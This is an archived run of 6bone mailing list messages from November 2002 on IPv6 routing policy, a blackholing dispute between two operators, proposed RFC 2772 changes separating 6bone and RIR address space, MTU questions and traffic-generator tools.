> > I'm glad to announce that NDSoftware (AS25358) has setup filters for
> > drop any packets from and to 2001:658:217::/48, 2001:618:B::/48,
> > 2001:768:1800::/40.
> > 
> > >From your website (http://www.tdoi.org):
> > "Our Autonomous System does not accept prefix 3ffe:4013::/32.
> > Any route via AS25358 will be removed.
> > You cannot reach any prefix routed via AS25358!"
> > 
> > It's too funny.
> > 
> > You don't have an Autonomous System, you have a private ASN with 2 /48
> > and 1 /40 for play.


I believe that introducing such a practice to 6bone is potentially very
dangerous; it can possibly devolve to endless revenges chain and further
irresponsible behaviour affecting reachability of nodes over the whole IPv6
world, further harming the reputation and transition to IPv6. This is no longer
even 6bone itself issue, since the blackholed host is from the production
RIPE's space. This practice can thus help the argumentation for isolation of
the 6bone prefixes.

There's a question if pTLA operators should fall into revenge to end sites
(even connected by other pTLAs). It is private decision of the end user TDOI to
filter announcements made by other ASN and it is private decision of NDSOFTWARE
to filter TDOI _for ourselves_. But it affects the whole 6bone routing if one
pTLA is effectively blackholing some arbitrary prefix for not well-posed and
well-announced reasons. Thus, it would be probably extremely desirable if
(choose one):

a) NDSOFTWARE terminated this filtering
b) NDSOFTWARE filtered this prefix only for its customers, not peers
c) NDSOFTWARE did not announce the prefix (2001:768::/32) to its peers
d) NDSOFTWARE peers re-thought the peering policy and were careful about
accepting full transit from NDSOFTWARE
e) 6bone community was careful about prefixes it's receiving which have
NDSOFTWARE's ASN in their AS path

I basically believe that leaving this uncommented can settle dangerous
precedent for the future, thus this case should be carefully dealt with. Note
that I have no positive relation with TDOI and I try hard to have no negative
relation with NDSOFTWARE.


Further, I think that maybe it would be desirable to add some tiny paragraph
about this to RFC 2772. Kind of: "pTLA providers SHOULD NOT filter traffic
destinating at arbitrary prefixes while still announcing the prefix,
effectively blackholing the prefix, unless it properly announces and reasonates
such action and is ready to re-think the measure if it met disagreement in the
6bone community."


Any comments welcomed! :-) "Oh no, another policial thread," I know, but I
think that these issues should be discussed and solved somehow.

Kind regards,

-- 
 
				Petr "Pasky" Baudis
.
weapon, n.:
        An index of the lack of development of a culture.
.
Public PGP key && geekcode && homepage: http://pasky.ji.cz/~pasky/

From sb@rdns.de Wed Nov 20 05:33:05 2002
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Dear Petr Baudis,

>> > I'm glad to announce that NDSoftware (AS25358) has setup filters for
>> > drop any packets from and to 2001:658:217::/48, 2001:618:B::/48,
>> > 2001:768:1800::/40.

[19:04:54] <NicoWork> _DrAGON_ is too lame :) we don't have setup filters, i have just sent the mail for get a reaction from him

That was yesterday. ;-) And after my mail yesterday mister TDOI
removed the peering to me. wow, what a nice reason. troll ;-)

> Further, I think that maybe it would be desirable to add some tiny paragraph
> about this to RFC 2772. Kind of: "pTLA providers SHOULD NOT filter traffic
> destinating at arbitrary prefixes while still announcing the prefix,
> effectively blackholing the prefix, unless it properly announces and reasonates
> such action and is ready to re-think the measure if it met disagreement in the
> 6bone community."

I agree. Remember my mail about the test-time. Still no useful
comments. Go on! ;-)

-- 
best regards,
Sascha Bielski                            mailto:sb@rdns.de
xs26.net German Coordination
phone: +49 (0) 174 / 432 93 76
email: sb@rdns.de


From navaneethams@huawei.com Wed Nov 20 05:34:26 2002
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Date: Wed, 20 Nov 2002 21:33:47 +0800
From: navaneetham <navaneethams@huawei.com>
Subject: [6bone] why there is no checksum in IPv6 header?
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	what is the reason IPv6 requires that every link in the internet have an
MTU of 1280 octets or greater?

	what is the benefit of having this restriction!!?


Navaneetham


From navaneethams@huawei.com Wed Nov 20 05:35:25 2002
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Date: Wed, 20 Nov 2002 21:34:56 +0800
From: navaneetham <navaneethams@huawei.com>
Subject: [6bone] MTU (Min : 1280) restriction in IPv6
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	what is the reason IPv6 requires that every link in the internet have an
MTU of 1280 octets or greater?

	what is the benefit of having this restriction!!?


Navaneetham


From nicolas.deffayet@ndsoftware.net Wed Nov 20 05:43:53 2002
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From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Petr Baudis <pasky@pasky.ji.cz>
Cc: Christian Nickel <dragon@tdoi.org>, 6bone@ISI.EDU
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Subject: [6bone] Re: Blackholing on 6bone (possible RFC 2772-bis bit?)
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On Wed, 2002-11-20 at 13:36, Petr Baudis wrote:
> Dear diary, on Tue, Nov 19, 2002 at 06:15:51PM CET, I got a letter,
> where Christian Nickel <dragon@tdoi.org> told me, that...
> > > I'm glad to announce that NDSoftware (AS25358) has setup filters for
> > > drop any packets from and to 2001:658:217::/48, 2001:618:B::/48,
> > > 2001:768:1800::/40.
> > > 
> > > >From your website (http://www.tdoi.org):
> > > "Our Autonomous System does not accept prefix 3ffe:4013::/32.
> > > Any route via AS25358 will be removed.
> > > You cannot reach any prefix routed via AS25358!"
> > > 
> > > It's too funny.
> > > 
> > > You don't have an Autonomous System, you have a private ASN with 2 /48
> > > and 1 /40 for play.
> 
> 
> I believe that introducing such a practice to 6bone is potentially very
> dangerous; it can possibly devolve to endless revenges chain and further
> irresponsible behaviour affecting reachability of nodes over the whole IPv6
> world, further harming the reputation and transition to IPv6. This is no longer
> even 6bone itself issue, since the blackholed host is from the production
> RIPE's space. This practice can thus help the argumentation for isolation of
> the 6bone prefixes.
> 
> There's a question if pTLA operators should fall into revenge to end sites
> (even connected by other pTLAs). It is private decision of the end user TDOI to
> filter announcements made by other ASN and it is private decision of NDSOFTWARE
> to filter TDOI _for ourselves_. But it affects the whole 6bone routing if one
> pTLA is effectively blackholing some arbitrary prefix for not well-posed and
> well-announced reasons. Thus, it would be probably extremely desirable if
> (choose one):
> 
> a) NDSOFTWARE terminated this filtering
> b) NDSOFTWARE filtered this prefix only for its customers, not peers
> c) NDSOFTWARE did not announce the prefix (2001:768::/32) to its peers
> d) NDSOFTWARE peers re-thought the peering policy and were careful about
> accepting full transit from NDSOFTWARE
> e) 6bone community was careful about prefixes it's receiving which have
> NDSOFTWARE's ASN in their AS path
> 
> I basically believe that leaving this uncommented can settle dangerous
> precedent for the future, thus this case should be carefully dealt with. Note
> that I have no positive relation with TDOI and I try hard to have no negative
> relation with NDSOFTWARE.

Christian is an inmensly irritating clueless kiddie who wants to impress
other 6bone / ipv6 users.

We don't have setup any filters !
My email was only for have a reaction of Christian about him filtering.
I don't appreciate his message on his website about our AS and pTLA
filtering.

Before send my email to Christian, i have checked the reality of him
filtering but Christian is too lame and don't have check the reality of
our filtering before send him email to 6bone mailing-list.


We will NEVER do packet filtering and we will NEVER filter valid ASN and
valid pTLA/sTLA.

We manage our network professionnaly, we will never do filtering for
fun.

> Further, I think that maybe it would be desirable to add some tiny paragraph
> about this to RFC 2772. Kind of: "pTLA providers SHOULD NOT filter traffic
> destinating at arbitrary prefixes while still announcing the prefix,
> effectively blackholing the prefix, unless it properly announces and reasonates
> such action and is ready to re-think the measure if it met disagreement in the
> 6bone community."

I support this.

I think that "pTLA providers SHOULD NOT filter traffic, valid ASN and
valid pTLA/sTLA" is better. 


Best Regards,

-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From mohacsi@evil.ki.iif.hu Wed Nov 20 05:46:39 2002
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Hi,

On Wed, 20 Nov 2002, Abdul Basit wrote:

>
> hello,
>
> are there any decent ipv6 traffic generators ,
> free one's ofcourse ?

Try mgen6, that is a fairly good basic one:

http://matrix.it.uc3m.es/~long/software/mgen6/mgen6/

Janos
>
> take care
> - basit
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From pim@ipng.nl Wed Nov 20 05:55:31 2002
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From: Pim van Pelt <pim@ipng.nl>
To: hans.goes@wcom.com
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] Euronet Internet
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On Wed, Nov 20, 2002 at 07:28:04AM +0000, Hans Goes wrote:
| Hi,
| 
| I'm trying to reach some people at Euronet Internet in Belgium but they
| don't reply to email.
| 
| Does anyone of you have additional contact which are not in the
| "euronet-be" object ?
Hans,

Francois Baligant <francois@be.wanadoo.com> 

groet,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From jeroen@unfix.org Wed Nov 20 06:40:55 2002
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To: "'Abdul Basit'" <basit@basit.cc>, <6bone@mailman.isi.edu>
Subject: RE: [6bone] ipv6 traffic generator
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Abdul Basit wrote:

> hello,
> 
> are there any decent ipv6 traffic generators ,
> free one's ofcourse ?

As you didn't mention the reason for generating traffic
I assume that you want to test IPv6 throughput.
A good tool for this is IPerf as found on:
http://dast.nlanr.net/Projects/Iperf/

Good thing about Iperf is that it's IPv4 and IPv6 capable
and as such one can test differences in throughput between 4 and 6.
One will notice that unfortunatly most of the time IPv6 is at loss
due to the current 6bone mess. When this has been cleared out, and
there are a couple of groups pondering about this I know from testing
on native links that IPv6 will have a real benefit over IPv4 when
checking throughput.

Greets,
 Jeroen


From basit@basit.cc Wed Nov 20 08:18:32 2002
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Hello

i checked on native links, i found it is
reasonably better than normal ipv4 though.

I was using iperf actually, but i was not able
to find any tool that can generate graphs
based on iperf logs. can you point out some?

I am using tcptrace to analyze tcpdumps for now
to generate xplot/graphs ( but the problem is it
can handle only tcp traffic). for generating
ipv6 tcp traffic i use sendip but the problem
with sendip is, it can't generate any application
level packet (say http).

Can you point me some ipv6 traffic generators
that supports extensive features of ipv6, like
mobile ipv6 binding update time , fast handovers etc?
and generate graphs based on that info?

NS2 (Network simulator ) doesn't support many features
of Mobile IPv4 even, MOBIWAN is hard to setup,
though i set MOBIWAN correctly but i am not able
now to get trgraph read ns2 trace files generated
by MOBIWAN?

Kame MIPv6 support isn't properly documented,
USAGI has mobile ipv6 experimental support also
LINA/LIN6 isn't well-documented ?

Where to look ? are those all standards just exists
in theory ? Don't we have some elegant approach ? instead
of all softwares scattered around to support bits
of things ?

I beleive we need to have a project started on this
( like developing a IPv6 simulator supporting every bit
of information specified in most recent rfc's).

- basit
graduate student
wichita state univ.

On Wed, 20 Nov 2002, Jeroen Massar wrote:

> Abdul Basit wrote:
>
> > hello,
> >
> > are there any decent ipv6 traffic generators ,
> > free one's ofcourse ?
>
> As you didn't mention the reason for generating traffic
> I assume that you want to test IPv6 throughput.
> A good tool for this is IPerf as found on:
> http://dast.nlanr.net/Projects/Iperf/
>
> Good thing about Iperf is that it's IPv4 and IPv6 capable
> and as such one can test differences in throughput between 4 and 6.
> One will notice that unfortunatly most of the time IPv6 is at loss
> due to the current 6bone mess. When this has been cleared out, and
> there are a couple of groups pondering about this I know from testing
> on native links that IPv6 will have a real benefit over IPv4 when
> checking throughput.
>
> Greets,
>  Jeroen
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From berni@birkenwald.de Wed Nov 20 08:31:51 2002
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To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
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Subject: Re: [6bone] Re: Blackholing on 6bone (possible RFC 2772-bis bit?)
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On Wed, Nov 20, 2002 at 02:43:59PM +0100, Nicolas DEFFAYET wrote:

> I think that "pTLA providers SHOULD NOT filter traffic, valid ASN and
> valid pTLA/sTLA" is better. 

Nope, the first version was better. It's everyones own decision which
prefixes/ASNs to accept in his own AS, as long as this filtering does
not affect the routing of other ASes.

-- 
   bye bye
     Bernhard

From barce@frlp.utn.edu.ar Wed Nov 20 08:48:56 2002
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Date: Wed, 20 Nov 2002 13:48:03 -0300
From: "Carlos A. Barcenilla" <barce@frlp.utn.edu.ar>
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To: navaneetham <navaneethams@huawei.com>, 6bone@ISI.EDU
Subject: Re: [6bone] MTU (Min : 1280) restriction in IPv6
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Hi

   IPv6 routers are not allowed to fragment IPv6 packets. Senders must 
fragment packets, so they need to know the Path MTU for the destination 
address. Path MTU discovery is needed fot that.

   If a node does not want to implement Path MTU Discovery it can assume 
that every Path MTU has 1280 bytes.
   
Carlos.

navaneetham wrote:

>	what is the reason IPv6 requires that every link in the internet have an
>MTU of 1280 octets or greater?
>
>	what is the benefit of having this restriction!!?
>
>
>Navaneetham
>
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone
>  
>




From RJorgensen@upctechnology.com Wed Nov 20 10:48:01 2002
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Hi,

Going to reply to Robert's mail that never got the attention it
deserved. It is very important to understand why RIR space
holders care about RFC 2772. 

We make living out of selling/providing services over Internet,
we are totaly depended on what people call production quality
or reliable routing. It's not just a word for us, it's our life 
as a provider we're talking about. 
We can assume that most of the services that will be important 
from a business perspective will be using RIR space.
Think we also can safely assume that RIR space are for 
production services (as said above), and 6bone space used for
experimental/learning/testing purpose. 

This isn't just the view of one single sTLA holder, it's a view
I know is shared by many others. How to create a stable IPv6
network are The Focus for many big ISP's with sTLA right now.
There are work in progress to create guidelines and later I 
guess it might be an official document covering the routing
issue in RIR space. We will sort ourself out...the issue is
6bone routing. We do NOT want 6bone to have ANY impact on our
business at all. That's pretty much the bottom line. Robert
outlined one way to gain this in his mail (see end of mail),
the following part are a suggestion from me, it's  build on 
the frame Robert outlined.

---



to keep it simple:
* 6bone sites can announce each other their pTLA route within the
  3ffe::/16 cloud including _one_ default 2001::/16 route.

Then we need a extra addon to this to avoid causing never ending loops:
* A site can ONLY announce the default RIR prefix to other peers
  IF they have the more specific RIR prefixes in their table.


example, I'm a pTLA with no connection to RIR space and should have no RIR
prefixes in my table, in this cause I can NOT provide transit to RIR 
space to anyone else than my endusers. Or in other word, I can not provide 
RIR space transit to other 6bone sites....


The advantage of this:
- 6bone/RIR space will become two separate network that can NOT break
  each other, we (RIR) can guaranty routing easier.
- 6bone can do as much experimental stuff as they want to, they can still
  NOT harm production traffic (production traffic should anyway ALWAYS
  go over and use RIR space)

disadvantage:
- it add a bit more complexity to the routing but think what we gain
  from it are more important.
- longer routing in general when you're going RIR <> 6bone space.


It basically give us the chance to make a quality production IPv6 
network AND still be able to do experimental stuff on 6bone without 
impact on each other. it also give us (RIR) the chance to guaranty 
routing in RIR space, or to say it as manager:

"we can provide production quality on our IPv6 network"


thoughts?


---
Roger Jorgensen (rjorgensen@upctechnology.com)
System Engineer @ engineering - UPC Technology
handles: ROJO1-6BONE ROJO9-RIPE RJC10-NORID


> -----Original Message-----
> From: 6bone-admin@mailman.isi.edu 
> [mailto:6bone-admin@mailman.isi.edu]On
> Behalf Of Robert Kiessling
> Sent: Saturday, November 16, 2002 4:24 PM
> To: Bob Fink
> Cc: 6bone@ISI.EDU
> Subject: Re: [6bone] RFC2772 rewrite -- bigger scope goals
> 
> 
> Here is a rather radical proposal:
> 
>         Peerings between 6bone sites MUST NOT carry any other 
> routes apart 
>         from 3FFE and a summary route for 2001/3.
> 
> This achieves a number of goals:
> 
> - it provides a clear distinction between the experimental 
> part from the rest of 
>   the IPv6 world
> 
> - interconnections between 6bone and the rest of the IPv6 
> world can still 
>   be numerous and reliable
> 
> - existing services in the 3FFE space can be accessed from 
> everywhere, 
>   noone is cut off
> 
> - cost-free trial implementation is still possible, but 
> transition to RIR space
>   is encouraged
> 
> - since RIR sites can filter RIR space from peerings with 6bone sites,
>   BGP problems from 6bone sites will not affect the global network
> 
> and last but not least
> 
> - it's a very simple, verifyable criterion
> 
> Of course, all is not gold, so there are some drawbacks:
> 
> - 6bone sites will no longer see 2001 routes, so they will need to do 
>   "closest exit" routing to the nearest RIR site.
> 
> - peerings between dual (RIR & 6bone) sites will not carry 2001 space
> 
> - propably others I haven't thought of
> 
> Robert
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 

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end

From navaneethams@huawei.com Wed Nov 20 18:39:43 2002
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Date: Thu, 21 Nov 2002 10:39:09 +0800
From: navaneetham <navaneethams@huawei.com>
Subject: [6bone] cache implementation of pathMTU & Binding Update List
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hi,

	IPv6 says that host has to maintain pathMTU information for each
destination. Consider webserver which is running over IPv6. Many clients
will connect to webserver at the same time. Did webserver has to maintain
pathMTU information for each client or what?

	in this case maintaining all the information is burden right? how to handle
this?

	same problem has to address for Binding update list(IP Mobility) also. In
this case consider all the clienta are a mobility clients, which is
connected to webserver.



Thanks,
Navaneetham


From nicolas.deffayet@ndsoftware.net Thu Nov 21 07:50:45 2002
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Subject: Re: [6bone] RFC 2772 input from RIR space holder
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: "Jorgensen, Roger" <RJorgensen@upctechnology.com>
Cc: "'Robert Kiessling'" <Robert.Kiessling@de.easynet.net>,
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On Wed, 2002-11-20 at 19:39, Jorgensen, Roger wrote:
Hi,

> Going to reply to Robert's mail that never got the attention it
> deserved. It is very important to understand why RIR space
> holders care about RFC 2772. 
> 
> We make living out of selling/providing services over Internet,
> we are totaly depended on what people call production quality
> or reliable routing. It's not just a word for us, it's our life 
> as a provider we're talking about. 
> We can assume that most of the services that will be important 
> from a business perspective will be using RIR space.
> Think we also can safely assume that RIR space are for 
> production services (as said above), and 6bone space used for
> experimental/learning/testing purpose.

A lot of ISP use their sTLA for experimental/learning/testing purpose.

> This isn't just the view of one single sTLA holder, it's a view
> I know is shared by many others.

Many others ?
Who are they ?

> How to create a stable IPv6
> network are The Focus for many big ISP's with sTLA right now.
> There are work in progress to create guidelines and later I 
> guess it might be an official document covering the routing
> issue in RIR space. We will sort ourself out...the issue is
> 6bone routing. We do NOT want 6bone to have ANY impact on our
> business at all. That's pretty much the bottom line. Robert
> outlined one way to gain this in his mail (see end of mail),
> the following part are a suggestion from me, it's  build on 
> the frame Robert outlined.

The problems (ghost routes, unstability, bad performances,..) are not
6bone specific.
This problems are just a pretext for don't have 6bone address in your
routing table. This problems must be solved. Circumvent a problem is
easy, resolve it is more hard.

Currently 6bone and RIR have the same network topology (a lot of tunnels
and very little native links) and there is not transit provider, the
only difference beetween 6bone and RIR are address type (pTLA/sTLA) in
routing table.


Now, we will imagine that the 6bone does not exist any more.

- There is not transit provider, you exchange a full table with your
peers. (no changes with 6bone)
- There is a ISP with a old routing software and this ISP generate ghost
routes. (no changes with 6bone)
- You peer with a lot of tunnel. (no changes with 6bone)

The ONLY change will be that you don't have 6bone address in your
routing table.

> It basically give us the chance to make a quality production IPv6 
> network AND still be able to do experimental stuff on 6bone without 
> impact on each other. it also give us (RIR) the chance to guaranty 
> routing in RIR space, or to say it as manager:
> 
> "we can provide production quality on our IPv6 network"

You will guaranty routing over tunnel ?
Tunnels offer bad and random performance.
You can own your fiber, control your IPv4 network, but you will have
always the tunnel encapsulation.

For provide a real production quality, you must have a native IPv6
network without tunnels.

Cut 6bone and RIR will be beneficial only if RIR have a lot of native
links and very little tunnels.


Best Regards,

-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From michael@kjorling.com Thu Nov 21 08:30:26 2002
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On Nov 21 2002 16:49 +0100, Nicolas DEFFAYET wrote:

> > It basically give us the chance to make a quality production IPv6
> > network AND still be able to do experimental stuff on 6bone without
> > impact on each other. it also give us (RIR) the chance to guaranty
> > routing in RIR space, or to say it as manager:
> >
> > "we can provide production quality on our IPv6 network"
>
> You will guaranty routing over tunnel ?
> Tunnels offer bad and random performance.
> You can own your fiber, control your IPv4 network, but you will have
> always the tunnel encapsulation.
>
> For provide a real production quality, you must have a native IPv6
> network without tunnels.
>
> Cut 6bone and RIR will be beneficial only if RIR have a lot of native
> links and very little tunnels.

Sorry Nicolas, I don't see how you are reasoning here.

When Richard talks about "our IPv6 network" the way I read it is as in "our
native IPv6-on-the-link-layer network".

When there are only a few providers that provide IPv6 services, tunnels
might be the only option to get IPv6 connectivity _at all_. It is not a
great solution, but it certainly is better for those who wish to learn about
IPv6 than having no connectivity at all.

Actually, the suggestion of creating separate networks for 6bone and RIR
space seems pretty reasonable to me. Those who are getting their IPv6 uplink
from someone who is running on 6bone space will probably know about that,
and as I think it is safe to assume that most commercial sites will be on
RIR space, this will prompt a migration from 6bone towards RIR space based
on round trip times, and in extension site access times. Plus, it will
create a separate network, experimental in nature, where people are able to
experiment. If they find out after 15 minutes that they somehow leaked a bad
route, well, at least it hasn't affected commercial services. As for those
who are running RIR space IPv6 routers, demand that they learn the necessary
skills before assigning them the job of handling the IPv6 routers. Who would
give someone without adequate knowledge the authority to handle IPv4
routers, and in particular routers facing the Interent? This is no
different.


Michael Kjörling

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com - Amateur Radio: SMØYBY   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e
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From pasky@machine.sinus.cz Thu Nov 21 08:47:28 2002
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From: Petr Baudis <pasky@pasky.ji.cz>
To: "Jorgensen, Roger" <RJorgensen@upctechnology.com>
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Dear diary, on Wed, Nov 20, 2002 at 07:39:01PM CET, I got a letter,
where "Jorgensen, Roger" <RJorgensen@upctechnology.com> told me, that...
> Hi,

  Hello,

  after some internal XS26 survey, Jan Oravec proposed another, potentially
much simpler way, how to solve current situation for RIRs. I had some heavy
discussion with Roger about this, but I decided to summarize the main points on
the mailing list as well.

> to keep it simple:
> * 6bone sites can announce each other their pTLA route within the
>   3ffe::/16 cloud including _one_ default 2001::/16 route.
> 
> Then we need a extra addon to this to avoid causing never ending loops:
> * A site can ONLY announce the default RIR prefix to other peers
>   IF they have the more specific RIR prefixes in their table.
> 
> 
> example, I'm a pTLA with no connection to RIR space and should have no RIR
> prefixes in my table, in this cause I can NOT provide transit to RIR 
> space to anyone else than my endusers. Or in other word, I can not provide 
> RIR space transit to other 6bone sites....
> 
> 
> The advantage of this:
> - 6bone/RIR space will become two separate network that can NOT break
>   each other, we (RIR) can guaranty routing easier.
> - 6bone can do as much experimental stuff as they want to, they can still
>   NOT harm production traffic (production traffic should anyway ALWAYS
>   go over and use RIR space)
> 
> disadvantage:
> - it add a bit more complexity to the routing but think what we gain
>   from it are more important.
> - longer routing in general when you're going RIR <> 6bone space.
> 
> 
> It basically give us the chance to make a quality production IPv6 
> network AND still be able to do experimental stuff on 6bone without 
> impact on each other. it also give us (RIR) the chance to guaranty 
> routing in RIR space, or to say it as manager:
> 
> "we can provide production quality on our IPv6 network"
> 
> 
> thoughts?

  Basically, Jan's proposal is like: the distribution of the prefixes does not
need to change fundamentally, the only change required is in 6bone -> RIRs
connections. In such passages, 6bone sites MUST NOT announce prefix 2001::/16
nor any more specific prefixes matching this prefix, and RIR sites MUST filter
any such prefixes.

  The advantages of this:

  + 6bone/RIR space will become two separate networks that can NOT break each
other, RIR people can guarantee routing easier.

  + 6bone can do as much experimental stuff as they want to, they can still
NOT harm production traffic (production traffic should always ALWAYS go over
and use RIR space).

  + Whole 6bone still gets full RIR prefixes feed (with the original proposal,
each pTLA wouild need to have at least one full-transit peering with some sTLA
or direct peering with another pTLA which would have it; this would possibly
lead to further degenration of the 6bone hiearchy).

  + The only really required steps are on the RIR side, and the filtering is
much less complex; Roger says that RIRs can coordinate themselves, so we can
probably take as a working invariant that all RIRs will employ this filtering.

  + The routing prolonging is not so distinct.

  The disadvantages:

  0 In some cases, the routing can still take a little longer path than now; we
can assume that the path will be more stable in many cases, though; we won't be
able to do better anyway.

  ? Roger says that they won't have their prefix "under control", but I fail to
see how it matters, if it won't harm their production RIR-RIR routing anymore.

  ? Roger says that they still won't be able to assure that 6bone sites will
receive their prefix correctly; I fail to see a difference from his solution
here, though; with his solution, additionally, the 6bone site's pTLA would have
to do additional excessive special steps in order to just _receive_ the prefix.

  What are your proposals, opinions, thoughts, votes and so on?

  (Note that I believe that it is certainly not desirable to turn this thread
into another flamewar about details, professionality, "productionness" of
networks and so on. Please desist from such things, and if someone else (with
both some specific people and general audience in mind) won't, it would be
probably nice not to prolong such flames and thus not to reply to such emails.)

  Kind regards,

-- 
 
				Petr "Pasky" Baudis
.
weapon, n.:
        An index of the lack of development of a culture.
.
Public PGP key && geekcode && homepage: http://pasky.ji.cz/~pasky/

From gert@Space.Net Thu Nov 21 09:03:57 2002
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To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
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Hi,

On Thu, Nov 21, 2002 at 04:49:58PM +0100, Nicolas DEFFAYET wrote:
> On Wed, 2002-11-20 at 19:39, Jorgensen, Roger wrote:
[..]
> > This isn't just the view of one single sTLA holder, it's a view
> > I know is shared by many others.
> 
> Many others ?
> Who are they ?

Us, for example.  2001:608::/32.

(I usually spend more time on making things work than on making noise
on mailing lists, which is why you haven't read that much from me
recently)

[..]
> The problems (ghost routes, unstability, bad performances,..) are not
> 6bone specific.
> This problems are just a pretext for don't have 6bone address in your
> routing table. This problems must be solved. Circumvent a problem is
> easy, resolve it is more hard.
> 
> Currently 6bone and RIR have the same network topology (a lot of tunnels
> and very little native links) and there is not transit provider, the
> only difference beetween 6bone and RIR are address type (pTLA/sTLA) in
> routing table.

RIR space networks, at least in Germany and .NL, are strongly going to 
for native IPv6 peering at various peering points (AMS-IX, DECIX, INXS).

[..]
> You will guaranty routing over tunnel ?
> Tunnels offer bad and random performance.
> You can own your fiber, control your IPv4 network, but you will have
> always the tunnel encapsulation.
> 
> For provide a real production quality, you must have a native IPv6
> network without tunnels.

If the tunnel is inside your own IPv4 network, you can control the
performance nearly as well as on "native" links.

Tunnels are a much larger problem if they cross unrelated 3rd-party 
networks.

> Cut 6bone and RIR will be beneficial only if RIR have a lot of native
> links and very little tunnels.

We are working on it.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  49875 (48540)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From Robert.Kiessling@de.easynet.net Thu Nov 21 10:14:29 2002
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Petr Baudis <pasky@pasky.ji.cz> writes:

>   Basically, Jan's proposal is like: the distribution of the prefixes does not
> need to change fundamentally, the only change required is in 6bone -> RIRs
> connections. In such passages, 6bone sites MUST NOT announce prefix 2001::/16
> nor any more specific prefixes matching this prefix, and RIR sites MUST filter
> any such prefixes.

That's an interesting proposal.

However, I see one major disadvantage: The protection breaks down if
only one of the connections between RIR and 6bone is not filtered.

The "6bone sites don't exchange 2001::/16" model looks more robust in
this respect.

How would dual sites be handled? Would they count as "RIR" in this
respect, i.e. they must filter RIR space from peerings with other
6bone (or dual) sites?

One question which came to my mind: can this filtering be verified,
e.g. by looking glasses?

I think yes. Take BGP views from RIR sites and have a look at the AS
paths for all 2001::/16 prefixes. If filtering is set up correctly,
such AS paths may not contain any AS which is known to the 6bone
whois, with the possible exception of first and last ASN for
dual-RIR-and-6bone sites. Right?

> it would be
> probably nice not to prolong such flames and thus not to reply to such emails.)

I very much second this.

Robert


From nicolas.deffayet@ndsoftware.net Thu Nov 21 10:31:56 2002
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Subject: Re: [6bone] Re:  RFC 2772 input from RIR space holder
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Petr Baudis <pasky@pasky.ji.cz>
Cc: "Jorgensen, Roger" <RJorgensen@upctechnology.com>,
   "'Robert Kiessling'" <Robert.Kiessling@de.easynet.net>,
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On Thu, 2002-11-21 at 17:47, Petr Baudis wrote:

Hi,

>   Basically, Jan's proposal is like: the distribution of the prefixes does not
> need to change fundamentally, the only change required is in 6bone -> RIRs
> connections. In such passages, 6bone sites MUST NOT announce prefix 2001::/16
> nor any more specific prefixes matching this prefix, and RIR sites MUST filter
> any such prefixes.

I agree, very good proposal.

>   + 6bone can do as much experimental stuff as they want to, they can still
> NOT harm production traffic (production traffic should always ALWAYS go over
> and use RIR space).

Hum, i don't agree fully.
6bone must have a minimum of quality, 6bone should not be a dustbin.

>   + Whole 6bone still gets full RIR prefixes feed (with the original proposal,
> each pTLA wouild need to have at least one full-transit peering with some sTLA
> or direct peering with another pTLA which would have it; this would possibly
> lead to further degenration of the 6bone hiearchy).

I agree.

>   ? Roger says that they won't have their prefix "under control", but I fail to
> see how it matters, if it won't harm their production RIR-RIR routing anymore.

In all cases, they can't have their prefix "under control".
When you announce a prefix, you can't control annonce of it by others
AS. It's like in IPv4.

>   What are your proposals, opinions, thoughts, votes and so on?

I support Jan's proposal.


Best Regards,

-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From gert@Space.Net Thu Nov 21 11:19:35 2002
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From: Gert Doering <gert@space.net>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
Cc: Petr Baudis <pasky@pasky.ji.cz>,
   "Jorgensen, Roger" <RJorgensen@upctechnology.com>,
   "'Robert Kiessling'" <Robert.Kiessling@de.easynet.net>,
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Subject: Re: [6bone] Re:  RFC 2772 input from RIR space holder
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Hi,

On Thu, Nov 21, 2002 at 07:29:55PM +0100, Nicolas DEFFAYET wrote:
> 6bone must have a minimum of quality, 6bone should not be a dustbin.

Please try to understand that 6bone is not meant to stay forever.

It's there to get IPv6 started, to collect experience, and to do experiments
(that *will* harm stability).

It is NOT a production network and it WILL go away in a few years.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  49875 (48540)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From jan.oravec@6com.sk Thu Nov 21 11:54:19 2002
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From: Jan Oravec <jan.oravec@6com.sk>
To: Robert Kiessling <Robert.Kiessling@de.easynet.net>,
   "Jorgensen, Roger" <RJorgensen@upctechnology.com>, Bob Fink <fink@es.net>,
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References: <7CEA40C0E10C7D4FBE076AE7C3EFB78D0114C53E@nlcbbms03> <20021121164715.GJ25628@pasky.ji.cz> <m33cpulri9.fsf@joseba.easynet.de> <20021121192925.GL25628@pasky.ji.cz>
